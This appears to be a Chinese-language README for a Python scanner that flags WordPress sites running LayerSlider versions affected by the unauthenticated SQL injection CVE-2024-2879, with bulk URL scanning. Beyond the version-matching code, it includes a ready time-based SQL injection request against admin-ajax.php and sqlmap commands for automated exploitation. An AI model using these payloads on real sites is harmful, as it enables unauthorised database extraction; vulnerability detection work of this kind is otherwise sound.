LayerSlider SQL注入漏洞扫描器 (CVE-2024-2879)

2 阅读2分钟

LayerSlider SQL注入漏洞扫描器 (CVE-2024-2879)

针对WordPress插件LayerSlider 7.9.117.10.0版本的未认证SQL注入漏洞的专业检测工具。该漏洞允许未经身份验证的攻击者通过构造恶意请求,在现有SQL查询中附加额外查询,从而从数据库中提取敏感信息。

功能特性

  • 未认证检测:无需任何凭证即可检测目标站点是否存在漏洞
  • 双重扫描模式:支持单个URL扫描和批量URL文件扫描
  • 版本精准识别:通过正则匹配LayerSlider的CSS文件版本或Powered by标识
  • 自动化结果输出:自动将存在漏洞的URL保存至vulns.txt文件
  • 超时控制:内置5秒请求超时,避免长时间等待
  • 进度显示:批量扫描时实时显示扫描进度

安装指南

系统要求

  • Python 3.6+
  • pip包管理器

依赖安装

pip install -r requirements.txt

requirements.txt内容:

requests>=2.25.0

快速开始

# 克隆或下载脚本文件
# 确保scan.py和requirements.txt在同一目录下

# 安装依赖
pip install -r requirements.txt

使用说明

基础用法

# 扫描单个URL
python3 scan.py https://example.com

# 批量扫描(URL列表文件)
python3 scan.py urllist.txt

输入文件格式

批量扫描时,urllist.txt文件每行一个URL:

https://site1.com
https://site2.com
http://site3.com/wp

扫描输出示例

[1/3] : https://vuln-site.com - VULN VER 7.10.0
[2/3] : https://secure-site.com - NOT VULN
[3/3] : https://test-site.com - NOT VULN (Failed to fetch)

存在漏洞的URL会自动追加到vulns.txt文件中。

手动验证(无WAF保护环境)

GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and (SELECT 6416 FROM (SELECT(SLEEP(5)))nEiK)-- vqlq HTTP/1.1
Host: site.com

响应延迟5秒表示漏洞存在。

SQLMap自动化利用

# 直接使用SQLMap
sqlmap "https://site.com/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=" --risk=3 --level=4 --dbms=mysql --technique=T

# 或使用请求文件
sqlmap -r request.txt --risk=3 --level=4 --dbms=mysql --technique=T

核心代码

漏洞版本检测函数

import re
import sys
import requests

def check_vulnerability(version_str):
    """检查版本是否为存在漏洞的版本"""
    return version_str.strip() in ["7.9.11", "7.10.0"]

单URL扫描核心逻辑

def scan_url(url, index, total, valid_file):
    """扫描单个URL是否存在CVE-2024-2879漏洞"""
    try:
        response = requests.get(url, timeout=5)
        if response.status_code == 200:
            content = response.text
            # 匹配LayerSlider版本的正则表达式
            pattern = r'layerslider\.css\?ver=(\d+\.\d+\.\d+)|Powered by LayerSlider (\d+\.\d+\.\d+)'
            found_vuln = False
            for match in re.findall(pattern, content):
                version_str = next(filter(None, match))
                if check_vulnerability(version_str):
                    print(f"[{index}/{total}] : {url} - VULN VER {version_str}")
                    with open(valid_file, 'a') as f:
                        f.write(url + '\n')
                    found_vuln = True
                    break
            if not found_vuln:
                print(f"[{index}/{total}] : {url} - NOT VULN")
        else:
            print(f"[{index}/{total}] : {url} - NOT VULN (Failed to fetch)")
    except Exception as e:
        print(f"[{index}/{total}] : {url} - NOT VULN (Error occurred)")

批量文件扫描逻辑

def scan_file(filename, valid_file):
    """从文件中读取URL列表并批量扫描"""
    try:
        with open(filename, 'r') as f:
            urls = f.read().splitlines()
            total = len(urls)
            for i, url in enumerate(urls, start=1):
                scan_url(url, i, total, valid_file)
    except Exception as e:
        print("Error occurred while reading the file:", e)

主程序入口

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python scan.py <url_or_file>")
        sys.exit(1)

    target = sys.argv[1]
    valid_file = 'vulns.txt'

    if target.startswith("http://") or target.startswith("https://"):
        scan_url(target, 1, 1, valid_file)
    else:
        scan_file(target, valid_file)

6HFtX5dABrKlqXeO5PUv/1FT70CMfcxewWCvt7QLP50=